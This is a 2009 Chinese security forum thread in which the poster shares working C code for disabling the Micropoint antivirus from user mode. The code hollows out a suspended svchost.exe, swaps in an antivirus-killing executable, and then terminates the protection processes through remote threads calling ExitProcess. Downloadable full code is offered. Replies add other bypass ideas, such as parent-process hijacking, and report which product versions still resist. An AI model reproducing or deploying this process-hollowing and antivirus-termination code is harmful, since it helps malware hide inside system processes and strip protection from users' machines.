首页
论坛
课程
招聘
[分享]Ring3下WX方法结束微点2009
2009-10-9 22:04 25491

[分享]Ring3下WX方法结束微点2009

2009-10-9 22:04
25491
此法系Hovi.Delphic首发,某日看过之后甚感WS(某牛:“太挫了,太挫了”),于是把原作者的VB代码转成VC,以飨读者。

微点的主动防御没有拦截一些系统进程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危险动作。因为这些进程通常是不危险的,我们要做的就是把它们中的某个变成危险进程,然后用这个危险进程猥亵微点。即用进程注入的方法把svhost.exe偷换成TerminateMP.exe(结束微点的程序),也就是所谓的借尸还魂。

操作步骤如下:
1.调用CretaeProcess函数创建第一个进程(svhost.exe),该进程处于suspend模式(记得参数CREATE_SUSPENDED ).

2.调用GetThreadContext函数获取第一个进程的各个寄存器值.其中EBX的值指向的就是该进程的PEB,EAX寄存器保存了该进程的入口点 (entry point)

3.从PEB中获取该进程的 base_address, [ebx+8]的值

lkd> dt _peb
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void            //映像基址
... ...

4.把第二个进程(TerminateMP.exe)读入到内存中,用ReadFile函数调用即可,注意如果文件对齐和内存对齐不一样的话,必须做必要的对齐操作.
5.如果第二个进程和第一个进程有相同的基地址(base-address),并且第二个进程的大小小于第一个进程,则只要简单的调用WriteProcessMemory函数覆盖掉第一个进程的进程空间,然后恢复运行即可.

6.否则的话,先调用ZwUnmapViewOfSection把第一个进程的镜像映射去掉,该函数由ntdll.dll导出.然后调用VertualAllocEX函数在第一个进程内存空间里面申请足够大的内存.然后拷贝第二个进程的镜像到该空间(利用WriteProcessMemory函数)

7.假如调用ZwUnmapViewOfSection操作失败,但是第二个exe是可重定位的.则可以在第一个进程空间里面的任何位置开始申请足够大的空间,在该分配的空间对第二个进程进行重定位.然后拷贝重定位后的exe到第一个进程空间里,开始位置就是申请的空间位置.

8.用第二个进程(TerminateMP.exe)的base-address修正PEB中相应的值,位置是[ebx+8]

9.用EAX设置第二个进程( TerminateMP.exe )的入口点地址
10.调用SetThreadContext函数修正
11.调用ResumeThread函数恢复svhost.exe运行.

实现代码可以参考 http://bbs.pediy.com/showthread.php?t=41873

这里提供一份更简短的代码,便于看清操作过程
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
 HANDLE hFile;
 DWORD dwFileSize;    //文件大小
 IMAGE_DOS_HEADER DosHeader;
 IMAGE_NT_HEADERS NtHeader;
 PROCESS_INFORMATION pi;
 STARTUPINFO si;
 CONTEXT context;
 PVOID ImageBase;
 unsigned long ImageSize;
 unsigned long BaseAddr;
 unsigned long retByte = 0;
 LONG offset;
 HMODULE hNtDll=GetModuleHandle("ntdll.dll");
 if(!hNtDll)
  return FALSE;
 ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");
 memset(&si, 0, sizeof(si));   
 memset(&pi, 0, sizeof(pi)); 
 si.cb = sizeof(si);
 
 hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
 if (hFile == INVALID_HANDLE_VALUE)
 {
  return FALSE;
 }
 ::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
 dwFileSize = ::GetFileSize(hFile, NULL);
 LPBYTE pBuf = new BYTE[dwFileSize];
 memset(pBuf, 0, dwFileSize);
 DWORD dwNumberOfBytesRead = 0;   
    ::ReadFile( hFile   
        , pBuf   
        , dwFileSize   
        , &dwNumberOfBytesRead   
        , NULL   
        );    
 ::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
 ::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
 //检查PE结构
 //以挂起方式进程
 BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); 
 
 if (res)
 {
  context.ContextFlags = CONTEXT_FULL;
  if (!GetThreadContext(pi.hThread,&context))  //如果调用失败
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
  if (!BaseAddr)
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  //拆卸傀儡进程内存模块
  if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  ImageBase = VirtualAllocEx(pi.hProcess, 
   (void *)NtHeader.OptionalHeader.ImageBase,
   NtHeader.OptionalHeader.SizeOfImage, 
   MEM_RESERVE|MEM_COMMIT, 
   PAGE_EXECUTE_READWRITE);  //ImageBase 0x00400000
  if (ImageBase == NULL)
  {
   DWORD wrongFlag = GetLastError();
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }  
  //替换傀儡进程内存数据
  if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
  {
   DWORD wrongFlag2 = GetLastError();  
  }
  //DOS 头 + PE 头 + 区块表的总大小
  //定位到区块头
  offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
  IMAGE_SECTION_HEADER secHeader;
  WORD i = 0;
  for (;i < NtHeader.FileHeader.NumberOfSections;i++)
  {
   //定位到各个区块
   ::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
   WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
   VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
  }
 
  context.ContextFlags = CONTEXT_FULL;
  //重置 执行文件入口
  WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8), 
   &ImageBase,   //4194304
   4, &retByte);
  context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
  SetThreadContext(pi.hThread,&context);
  ResumeThread(pi.hThread);
 }
 
 CloseHandle(pi.hThread);
 CloseHandle(pi.hProcess);
 ::CloseHandle(hFile);  
 delete[] pBuf;
 return TRUE;
}
 


用以上方法启动 TerminateMP.exe之后,系统中没有TerminateMP.exe进程,只有被替换了的svhost.exe

在svhost.exe进程中可以轻松地用 OpenProcess打开微点的进程,但是要结束微点的进程还是很麻烦的(Ring3下)。某90后用创建远程错误线程的方法达到了目的(这么挫的方法都想得出来)。

EnableDebugPriv(_T("SeDebugPrivilege"));
    HMODULE hModule = GetModuleHandle("kernel32.dll");
    unsigned long FunAddr  = (unsigned long)GetProcAddress(hModule,"ExitProcess");
    for (int i=0;i<n;i++)
    {
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,0,Pids[i]);
        //创建远程错误线程
        HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(EXITPROCESS)FunAddr,NULL,0,NULL);
}


执行效果如图:


完整代码: 进程注入 InjectProcess.rar 结束微点 TerminateMP.rar

[公告] 欢迎大家踊跃尝试高研班11月试题,挑战自己的极限!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (55)
雪    币: 459
活跃值: 活跃值 (64)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2009-10-9 22:14
2
0
微点的拦截机制其实很土,尚没有做到数据驱动,因此只能对付很小的一部分已存在的木马。
因此绕过方法就很多了。这种傀儡进程技术早在04年就有人写了(或许更早,我好像见过一个02年的代码),算是比较常规的手段了,算不上什么WS

PS:用类似的手法伪装系统进程或360进程,是不能绕过360安全卫士的 ;)
雪    币: 459
活跃值: 活跃值 (64)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2009-10-9 22:16
3
0
另外,楼主的中间的代码显然有点脱了裤子打屁的意味。何必要自己解析PE再writeprocessmemory呢?自己CreateSection再map进来,数行代码即能完成

父进程劫持是一种很常用的攻击手段,其实没必要unmap section再remap,还有其他数种利用方法,另外,微点没有拦截进程获取process_create_process权限,因此可以用父进程劫持的思想,构造一个不是由微点创建的微点子进程~方法很多了,能说出来的,都不算WS~
雪    币: 299
活跃值: 活跃值 (54)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
cogito 活跃值 2009-10-9 22:20
4
0
我不是觉得进程注入WX,是觉得创建远程错误线程来结束进程WX
雪    币: 459
活跃值: 活跃值 (64)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2009-10-9 22:23
5
0
创建错误远线程和创建特殊API结束没什么本质区别了,没觉得哪里WX了。
雪    币: 284
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jerrynpc 活跃值 2009-10-9 22:23
6
0
需要膜拜3个人,一个是楼主,一个是楼上的mj。另外一个是第一个下载的sysnap大牛。
雪    币: 299
活跃值: 活跃值 (54)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
cogito 活跃值 2009-10-9 22:25
7
0
聆听大牛教诲,可否揭示一下远程错误线程本质是啥?
雪    币: 459
活跃值: 活跃值 (64)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2009-10-9 22:30
8
0
不就是不写入SHELLCODE执行代码么,执行任意一个代码,甚至是PAGE_NOACCESS的,就可以目标进程崩溃了~ret2libc的类似思想,微点没拦截这个只能说是比较弱智,不能说这个方法WX
雪    币: 299
活跃值: 活跃值 (54)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
cogito 活跃值 2009-10-9 22:59
9
0
我错了 下次再也不妄称WX了...
雪    币: 26
活跃值: 活跃值 (844)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 活跃值 41 2009-10-9 23:00
10
0
膜拜MJ大牛……
雪    币: 26
活跃值: 活跃值 (844)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 活跃值 41 2009-10-9 23:02
11
0
说实话,我还真不知道WX是啥意思
雪    币: 667
活跃值: 活跃值 (56)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
轩辕小聪 活跃值 7 2009-10-9 23:41
12
0
貌似当年灰鸽子创建并利用IE进程就是用的这个方法……
雪    币: 1034
活跃值: 活跃值 (69)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
boywhp 活跃值 12 2009-10-10 08:33
13
0
你们没一个好东西!哈哈,干坏事都很精通啊,禁用WriteProcessMemory和OpenProcess以及一切跨进程函数得了
雪    币: 283
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
cschenhui 活跃值 2009-10-10 10:12
14
0
这程序对预升级版本没用
雪    币: 205
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
心随风落 活跃值 2009-10-10 10:12
15
0
偶用的是微点预升级版本 无法成功被结束  显示结束进程失败
雪    币: 283
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
cschenhui 活跃值 2009-10-10 10:16
16
0
公网大众版本和预升级版本是有很大区别的
雪    币: 88
活跃值: 活跃值 (180)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
frozenrain 活跃值 2009-10-10 10:36
17
0
这种手法 记得whitecell有一份代码,我好像也分析过一个类似的东西。
雪    币: 481
活跃值: 活跃值 (757)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2009-10-10 10:55
18
0
我微点正版的啊. 比预升级的好使. 哈哈
雪    币: 459
活跃值: 活跃值 (64)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2009-10-10 13:51
19
0
靠这种遮遮掩掩的方式发版本只能说水平太低,信心不足。这么下去注定是没有前途的 呵呵
雪    币: 284
活跃值: 活跃值 (19)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
飞心男孩 活跃值 2 2009-10-10 22:50
20
0
WC,那我的试用版不是直接就是一个摆设啊~~~顶他个肺!!!
雪    币: 33
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
PEBOSS 活跃值 2009-10-11 00:54
21
0
感谢楼主详细解说与代码,

个人感觉确实比较WS,
雪    币: 217
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
百折不挠 活跃值 2009-10-12 10:09
22
0
把结束代码做成DLL注射到svchost里面不知道行不行?又或者把TerminateMP.exe改名成svchost.exe呢?
雪    币: 81
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rakehells 活跃值 2009-10-13 21:59
23
0
把自己的搞好就行了,无需指责别人,强烈鄙视这种人!
雪    币: 225
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Sovereign 活跃值 2009-10-14 06:30
24
0
这位仁兄可知qihoocom是谁么?
雪    币: 0
活跃值: 活跃值 (269)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
网络游侠 活跃值 2009-10-14 12:10
25
0
说白点,就是傀儡进程!
游客
登录 | 注册 方可回帖
返回